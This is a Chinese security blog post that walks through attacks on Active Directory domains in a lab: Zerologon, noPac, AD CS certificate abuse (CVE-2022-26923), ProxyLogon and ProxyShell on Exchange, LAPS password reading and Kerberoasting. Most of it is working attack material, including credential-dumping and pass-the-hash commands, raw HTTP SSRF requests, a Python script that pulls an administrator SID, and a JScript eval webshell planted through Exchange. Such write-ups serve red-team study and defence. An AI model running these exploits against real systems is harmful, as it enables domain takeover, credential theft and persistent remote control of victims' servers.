查看原文
其他

Active Directory 域攻击面 | TOP 10 攻击方向(上)

校长 不懂安全的校长 2023-08-22

0x01 前言

看见M01N Team公众号发布了一篇名字为《2023攻防应知应会|发布!细数Active Directory域攻击面十大安全风险》的文章。

https://mp.weixin.qq.com/s/-n8XYwQ2fKYzqAyp353j4g

那么就让我们来复现一下具体的技术操作流程

0x02 AD DS 漏洞

1. Zerologon(CVE-2020-1472)

最知名的莫过于Zerologon(CVE-2020-1472) 该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。

Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证

那么我们开始实战,首先直接通过net view等操作定位域控!已知域控地址为10.10.10.10(DC)。那么我们开始使用 攻击机器(10.10.10.111) 进行实验。

此时我们的Zerologon漏洞已经试验成功,已成功将DC域控的密码置空。那么我们来导出域内所有用户的凭证

python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass

找到DC的Hash为31d6cfe0d16ae931b73c59d7e0c089c0等相关的Administrator的Hash。那么我们就可以通过wmiexec对域控进行横向

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10

2. NoPac (CVE-2021-42278 & CVE-2021-42287)

CVE-2021-42278 : 机器用户应当是computer。导致机器用户名可以被模拟冒用。

CVE-2021-42287 : Kerberos在处理UserName字段时,如果找不到 UserName 的话,KDC会继续查找 UserName$,如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的⽤户。正是因为这个处理逻辑,导致了漏洞的产⽣。触发这个点有两种方式

  • 跨域请求:跨域请求时,⽬标域活动⽬录数据库是找不到其他域的⽤户的,因此会⾛进这个 处理UserName的逻辑。
  • 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到⽤户,然后⾛进这个处理UserName的逻辑。

但是这还是不够,仅仅让KDC⾛进这个处理UserName的逻辑,还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。⽽TGT认购权证中的PAC是根据预认证身份信息⽣成的,这个我们⽆法伪造。因此得想办法在ST服务票据中进⾏伪造。⽽正常的ST服务票据中的PAC是直接拷⻉TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新⽣成PAC,⽽不是拷⻉TGT票据中的PAC。这⾥也有两种⽅式:

  • S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新⽣成的。

  • 跨域⽆PAC的TGT票据进⾏TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新⽣成。

# 常规流程
1.首先创建一个机器账户
2.清除机器账户的servicePrincipalName属性
3.将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
4.使用机器账户的身份请求TGT
5.将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
6.通过S4U2Self向KDC申请ST
7.拿到高权限ST票据,完成利用。

这里我们使用自动化进行NoPac攻击。

https://github.com/cube0x0/noPac (自行编译)
./noPac.exe -domain attack.local -user Administrator -pass '1qaz@WSX' /dc dc.de1ay.com
/mAccount test /mPassword password123 /service cifs /ptt

0x03 AD CS 脆弱性

1. CVE-2022-26923

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

[Ps:由于环境问题这里我就COPY其他人的内容]

我们使用低权限账户去申请一个证书

certipy req jiacheng.com/'atree:Pass123'@WIN-VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-VU69RG1VN5G-CA -template User -debug

通过证书成功获取atree的哈希值

certipy auth -pfx atree.pfx -debug

接着我们在创建一个机器账户

certipy account create jiacheng.com/'atree:Pass123'@WIN-
VU69RG1VN5G.jiacheng.com -user 'atreePC' -dns "WIN-
VU69RG1VN5G.jiacheng.com"

使用申请的机器账户获取证书

certipy req jiacheng.com/'atreePC$:xCZTZzZbnt7uAHJL'@WIN-VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-VU69RG1VN5G-CA -template Machine -debug

证书是域控主机的证书,通过机器账户的证书获的hash

certipy auth -pfx win-vu69rg1vn5g.pfx

接着我们利用secretsdump.py来dump全部的hash

secretsdump.py 'jiacheng.com/win-vu69rg1vn5g$@win-vu69rg1vn5g.jiacheng.com' -hashes 2ed156932fe310afa24d377e8cbfb333:2ed156932fe310afa24d377e8cbfb333

拿到这些内容之后直接使用wmiexec.py进行横向

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 ADMINISTRATOR@192.168.30.10

0x04 Exchange 漏洞

1. ProxyLogon

ProxyLogon是CVE-2021-26855的名称,它是一个存在于Microsoft Exchange Server的漏洞,可以使攻击者绕过身份验证并模拟用户。在观察到的攻击中,威胁行动者使用该漏洞去访问本地Excange服务器,从而可以访问邮箱账号,并且安装了其他恶意软件对受害机器进行长期的控制。

影响范围
  • Exchange Server 2019 < 15.02.0792.010
  • Exchange Server 2019 < 15.02.0721.013
  • Exchange Server 2016 < 15.01.2106.013
  • Exchange Server 2013 < 15.00.1497.012

通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息,在通过LegacyDN, 获取SID,然后通过合法的SID,获取exchange的有效cookie,最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马

ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞,然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。

SSRF是因为请求包中的cookie中X-BEResource

存在漏洞主机会有X-FEServer和X-CalculatedBETarget两个cookie。其中需要X-FEServer的信息进行进一步利用

GET /ecp/fd45ea.png HTTP/2
Host: 192.168.56.174
Cookie: X-BEResource=localhost~1942062522;

确认响应头包含这两个字段就可以获取LegacyDN

https://192.168.56.174/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com

通过我们拿到的win-93uimouupn7.xiaozhang.com来获得LegacyDN

POST /ecp/xz.js HTTP/2
Host: 192.168.56.174
Cookie: X-BEResource=win-93uimouupn7.xiaozhang.com/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 379


    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@域名</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover> 

那么我们接下来就可以获取获取SID。这里为了方便直接使用脚本获取SID

import requests

legacyDn = '/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=7ecc15e6f7854cd89342bba49f33cb19-Admin'
mapi_body = legacyDn + \
            "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
print(mapi_body)
ct = requests.post("https://192.168.56.174/ecp/xz.js", headers={
    "Cookie""X-BEResource=Administrator@win-93uimouupn7.xiaozhang.com:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;",
    "Content-Type""application/mapi-http",
    "X-Requesttype""Connect",
    "X-Clientapplication""Outlook/15.0.4815.1002",
    "X-Requestid""x"
},
                   data=mapi_body,
                   verify=False,
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[
    1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")

既然我们现在有了SID值就可以开始获取Cookie

POST /ecp/xz.js HTTP/2
Host: 192.168.56.174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=Administrator@win-93uimouupn7.xiaozhang.com:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
Msexchlogonmailbox: S-1-5-20
Content-Length: 93

<r at="NTLM" ln="Administrator"><s t="0">S-1-5-21-3999964583-919065085-2198410999-500</s></r>

既然我们拿到管理员权限的账号的那就可以开始组合漏洞了 (CVE-2021-27065 任意文件写入漏洞)

我们可以编辑OAB配置中的外部URL来写入木马

http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>

默认地址为:'\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\xz.aspx'

重置之后我们可以直接访问 '/aspnet_client/xz.aspx?orange='

2. ProxyShell

利用CVE-2021-34473这个SSRF漏洞可以绕过Exchange的身份验证并访问到后端的敏感信息,结合先前的SSRF漏洞,可以利用CVE-2021-34523提权漏洞向后端的/powershell端点发送Exchange Powershell命令并执行,利用CVE-2021-31207任意文件写入漏洞写入木马文件,其允许攻击者导出邮件内容到指定的路径。

主要利用思路:利用Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。[来自互联网]

影响范围
  • Microsoft Exchange Server 2010
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

获取到LegacyDN的方式与ProxyLogon类似

这里我们可以直接使用脚本

https://github.com/dmaasland/proxyshell-poc

直接使用脚本获得SID值以及Token!将生成的token通过X-CommonAccessToken进行利用

GET /autodiscover/autodiscover.json?a=administrator@xiaozhang.com/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBthZG1pbmlzdHJhdG9yQHhpYW96aGFuZy5jb21VLFMtMS01LTIxLTM5OTk5NjQ1ODMtOTE5MDY1MDg1LTIxOTg0MTA5OTktNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/2
Host: 192.168.56.174
Accept-Encoding: identity
Cookie: Email=autodiscover/autodiscover.json?a=administrator@xiaozhang.com
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 0

响应值为200,证明我们可以开始利用Powershell来执行命令。

如何利用Powershell执行命令
# 参考文章:
https://github.com/izj007/wechat/blob/main/articles/%5BTimeline%20Sec%5D-2021-8-25-Exchange%20ProxyShell%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.md
POST /autodiscover/autodiscover.json?a=administrator@xiaozhang.com/EWS/exchange.asmx/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBthZG1pbmlzdHJhdG9yQHhpYW96aGFuZy5jb21VLFMtMS01LTIxLTM5OTk5NjQ1ODMtOTE5MDY1MDg1LTIxOTg0MTA5OTktNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/2
Host: 192.168.56.174
Cookie: Email=autodiscover/autodiscover.json?a=administrator@xiaozhang.com
Content-Length: 1442
Content-Type: text/xml

<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:SerializedSecurityContext>
<t:UserSid>S-1-5-21-3999964583-919065085-2198410999-500</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
  <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
  <t:Subject>aomenshoujiaxianshangduchang</t:Subject>
  <t:Body BodyType="HTML">hello fromdarkness side</t:Body>
  <t:Attachments>
    <t:FileAttachment>
      <t:Name>FileAttachment.txt</t:Name>
      <t:IsInline>false</t:IsInline>
      <t:IsContactPhoto>false</t:IsContactPhoto>
      <t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
    </t:FileAttachment>
  </t:Attachments>
  <t:ToRecipients>
    <t:Mailbox>
      <t:EmailAddress>administrator@xiaozhang.com</t:EmailAddress>
    </t:Mailbox>
  </t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>

这里调用exchange powershell接口,将邮件保存到本地中,这里就涉及到WsMan协议

为了方便,我们直接使用前面提及到的脚本即可

  • https://github.com/dmaasland/proxyshell-poc

0x05 登录非域控的域管理员

1. Local Administrator Password Solution

将本地管理员密码存储在LDAP上,作为计算机账户的一个机密属性,配合GPO,实现自动定期修改密码、设置密码长度、强度等,然后配置某些指的账号,能查看存储的密码。

如果用户需要,可以用PowerShell或指的工具查询密码,但对非授权用户,却无法获取,从而实现本机管理员的自动化管理。

LAPS使用两个LDAP属性来存储本地管理员凭证,这两个属性分别是ms-MCS-AdmPwd(存储密码)和ms-MCS-AdmPwdExpirationTime(存储过期时间)。

LAPS 工作原理

LAPS 解决方案的核心是 GPO 客户端扩展 (CSE),它执行以下任务,并可以在 GPO 更新期间强制执行以下操作:检查本地管理员帐户的密码是否已过期。当旧密码过期或需要在过期前更改时,它会生成新密码。它根据密码策略验证新密码。它将密码报告给 Active Directory,并将其与计算机帐户一起以机密属性存储在 Active Directory 中。它还向 Active Directory 报告密码的下一个到期时间,并将其与计算机帐户的属性一起存储在 Active Directory 中。它还可以更改管理员帐户的密码。然后,有权执行此操作的用户可以从 Active Directory 中读取密码。

如果配置不当,我们可以在域内一台普通主机,查看域内其他主机本地管理员账号的密码。

[PS:由于环境有限,故这节内容复制于互联网(侵权联系删除)]

# 项目地址:
https://github.com/swisskyrepo/SharpLAPS/releases

也可以通过Powershell (图片复制于跳跳糖社区 tttang.com)

0x06 Kerberoastable管理用户

1. Kerberoasting 离线破解

Kerberos协议分为两个主要阶段:

  • 认证服务交换(AS-REQ/AS-REP)
  • 票据授权服务交换(TGS-REQ/TGS-REP)

Kerberos协议涉及三个主要参与者:

  • 客⼾端(⽤⼾)
  • 服务
  • 密钥分发中⼼(KDC)

Kerberoasting 攻击在实战中分为4步:


  1. 查询域内注册于域⽤⼾下的SPN

    1. 请求指定SPN的ST

    1. 导出请求的ST

    1. 对导出的ST进⾏离线爆破

    首先我们先注册SPN(域管理员给asd⽤⼾注册spn)

    setspn.exe -L asd
    setspn.exe -s http/testserver asd

    我们可以使用脚本工具PowerView来发现

    https://github.com/PowerShellMafia/PowerSploit/tree/master PowerView.ps1

    PowerView 是 PowerSpolit 中 Recon⽬录下⼀个powershell脚本,可⽤于查询过滤出域⽤⼾下注册SPN的用户,包括krbtgt用户,并返回用户详细信息。

    Import-Module .\PowerView.ps1
    Get-NetUser -spn

    当过滤出注册在⽤⼾下的SPN之后,就可以请求这些SPN服务票据。

    使⽤mimikatz请求指定SPN票据,保存在内存当中

    # 请求所有SPN服务票据
    mimikatz.exe "kerberos::list /export" "exit"

    # 请求单个账⼾SPN服务票据
    mimikatz.exe "kerberos::ask /target:"http/testserver" /service:http /user:asd
    /domain:SHANGHAI.XIE.COM"
     "exit"

    请求服务票据过程中,可以直接打印保存到⽂件,有的会保存在内存中,对于内存中的票据,可以⽤ ⼯,让票据从内存中导出到⽂件。

    # cmd窗⼝执⾏
    klist

    # mimikatz执⾏
    mimikatz.exe "kerberos::list" "exit"

    # 在同⽬录下导出 .kirbi格式票据⽂件
    mimikatz.exe "kerberos::list /export" "exit"

    目前我们取得了 .kirbi 票据⽂件或者hashcat,john能直接破解的⽂件,接下来就需要本地离线破 解服务票据。使用到一个工具名字为:kerberoast

    https://github.com/nidem/kerberoast

    Kerberoast ⽤于攻击kerberos试试先的⼀些⼯具集合,该⼯具中 tgsreocrack.py 脚本对 mimikatz 导出的 .kirbi票据 进⾏爆破。

    python3 tgsrepcrack.py pass.txt 2-40810000-asd@http\~testserver-SHANGHAI.XIE.COM.kirbi

    0x07 结尾

    有些小部分内容由于环境问题,图片是来自于互联网的。这篇上我就写M01N Team发布的内容的前五个技术,争取在国护结束之前发布后五个技术。

    如有商务合作、技术交流,欢迎添加下方我的微信

    # 参考链接

    https://www.se7ensec.cn/2021/03/12/%E5%9F%9F%E6%B8%97%E9%80%8F-ZeroLogon%E7%9A%84%E5%88%A9%E7%94%A8/
    https://systemweakness.com/use-nopac-cve-2021-42278-cve-2021-42287-when-you-don-t-know-the-exploited-user-s-cleartext-e5207fc348e3
    https://www.jianshu.com/p/1f30e0495cba
    https://tttang.com/archive/1613/
    https://saucer-man.com/information_security/748.html#cl-9
    https://mp.weixin.qq.com/s/EnYnMKwr_UGK-3pAFjwHcQ
    https://ucasers.cn/%E5%AF%B9ProxyLogon%E5%92%8CProxyShell%E7%9A%84%E5%A4%8D%E7%8E%B0%E8%B0%83%E8%AF%95/#title-8
    https://tttang.com/archive/871/#toc_3powershell


    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存